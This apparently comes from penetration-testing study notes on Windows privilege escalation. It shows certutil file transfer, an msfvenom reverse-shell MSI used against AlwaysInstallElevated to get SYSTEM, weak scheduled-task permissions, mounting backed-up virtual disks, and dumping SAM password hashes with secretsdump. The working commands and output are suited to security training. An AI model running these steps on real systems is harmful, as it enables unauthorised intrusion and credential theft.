Miscellaneous Techniques

certutil.exe intended use is for handling certificates but can also be used to transfer files by either downloading a file to disk or base64 encoding/decoding a file.

PS C:\xyz> certutil.exe -urlcache -split -f shell.bat

We can use the -encode flag to encode a file using base64 on our Windows attack host and copy the contents to a new file on the remote system.

C:\xyz> certutil -encode file1 encodedfile

Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfully

Once the new file has been created, we can use the -decode flag to decode the file back to its original contents.

C:\xyz> certutil -decode encodedfile file2

Input Length = 70
Output Length = 7
CertUtil: -decode command completed successfully.

Always Install Elevated

This setting can be set via Local Group Policy by setting Always install with elevated privileges to Enabled under the following paths

  • Computer Configuration\Administrative Templates\Windows Components\Windows Installer
  • User Configuration\Administrative Templates\Windows Components\Windows Installer

Enumerating Always Install Elevated Settings

PS C:\xyz> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

    AlwaysInstallElevated    REG_DWORD    0x1
PS C:\xyz> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

    AlwaysInstallElevated    REG_DWORD    0x1

AlwaysInstallElevated key exists, so the policy is indeed enabled on the target system.

We can exploit this by generating a malicious MSI package and execute it via the command line to obtain a reverse shell with SYSTEM privileges.

neutron@kali[/kali]$ msfvenom -p windows/shell_reverse_tcp lhost= lport=9443 -f msi > aie.msi

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of msi file: 159744 bytes

upload this MSI file to our target, start a listener and execute the file

C:\xyz> msiexec /i c:\users\user\desktop\aie.msi /quiet /qn /norestart

we will receive a connection back as NT AUTHORITY\SYSTEM

neutron@kali[/kali]$ nc -lnvp 9443

listening on [any] 9443 ...
connect to [] from (UNKNOWN) [] 49720
Microsoft Windows [Version 10.0.18363.592]
(c) 2019 Microsoft Corporation. All rights reserved.


nt authority\system

This issue can be mitigated by disabling the two Local Group Policy settings mentioned above.

Enumerating Scheduled Tasks

We can use the schtasks command to enumerate scheduled tasks on the system.

C:\xyz>  schtasks /query /fo LIST /v

Folder: \
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows\.NET Framework
HostName:                             WINLPE-SRV01
TaskName:                             \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319
Next Run Time:                        N/A
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        5/27/2021 12:23:27 PM
Last Result:                          0
Author:                               N/A
Task To Run:                          COM handler

PowerShell cmdlet for this:

PS C:\xyz> Get-ScheduledTask | select TaskName,State

TaskName                                                State
--------                                                -----
.NET Framework NGEN v4.0.30319                          Ready
.NET Framework NGEN v4.0.30319 64                       Ready
.NET Framework NGEN v4.0.30319 64 Critical           Disabled
.NET Framework NGEN v4.0.30319 Critical              Disabled
AD RMS Rights Policy Template Management (Automated) Disabled
AD RMS Rights Policy Template Management (Manual)       Ready
PolicyConverter                                      Disabled
SmartScreenSpecific                                     Ready
VerifiedPublisherCertStoreCheck                      Disabled
Microsoft Compatibility Appraiser                       Ready
ProgramDataUpdater                                      Ready
StartupAppTask                                          Ready
appuriverifierdaily                                     Ready
appuriverifierinstall                                   Ready
CleanupTemporaryState                                   Ready
DsSvcCleanup                                            Ready
Pre-staged app cleanup                               Disabled


It is not uncommon for system administrators to go against security practices and perform actions such as provide read or write access to a folder usually reserved only for administrators. We (though rarely) may encounter a scheduled task that runs as an administrator configured with weak file/folder permissions for any number of reasons. In this case, we may be able to edit the task itself to perform an unintended action or modify a script run by the scheduled task.

Checking Permissions on C:\Scripts Directory

C:\xyz> .\accesschk64.exe /accepteula -s -d C:\Scripts\

Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com

  RW BUILTIN\Administrators

Checking Local User Description Field

PS C:\xyz> Get-LocalUser

Name            Enabled Description
----            ------- -----------
Administrator   True    Built-in account for administering the computer/domain
DefaultAccount  False   A user account managed by the system.
Guest           False   Built-in account for guest access to the computer/domain
helpdesk        True
user     True
user_adm True
jordan          True
logger          True
sarah           True
sccm_svc        True
secsvc          True    Network scanner - do not change password
sql_dev         True

Enumerating Computer Description Field with Get-WmiObject Cmdlet

PS C:\xyz> Get-WmiObject -Class Win32_OperatingSystem | select Description

The most vulnerable box ever!



If we can mount a share from our Linux attack box or copy over one of these files, we can mount them and explore the various operating system files and folders as if we were logged into them using the following commands.

Mount VMDK on Linux

neutron@kali[/kali]$ guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk

Mount VHD/VHDX on Linux

neutron@kali[/kali]$ guestmount --add WEBSRV10.vhdx  --ro /mnt/vhdx/ -m /dev/sda1

In Windows, we can right-click on the file and choose Mount, or use the Disk Management utility to mount a .vhd or .vhdx file. If preferred, we can use the Mount-VHD PowerShell cmdlet. Regardless of the method, once we do this, the virtual hard disk will appear as a lettered drive that we can then browse.

This guide illustrates many methods for gaining access to the files on a .vmdk file.

Why do we care about a virtual hard drive (especially Windows)? If we can locate a backup of a live machine, we can access the C:\Windows\System32\Config directory and pull down the SAM, SECURITY and SYSTEM registry hives. We can then extract the password hashes for local users.

neutron@kali[/kali]$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x35fb33959c691334c2e4297207eeeeba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Dumping cached domain logon information (domain/username:hash)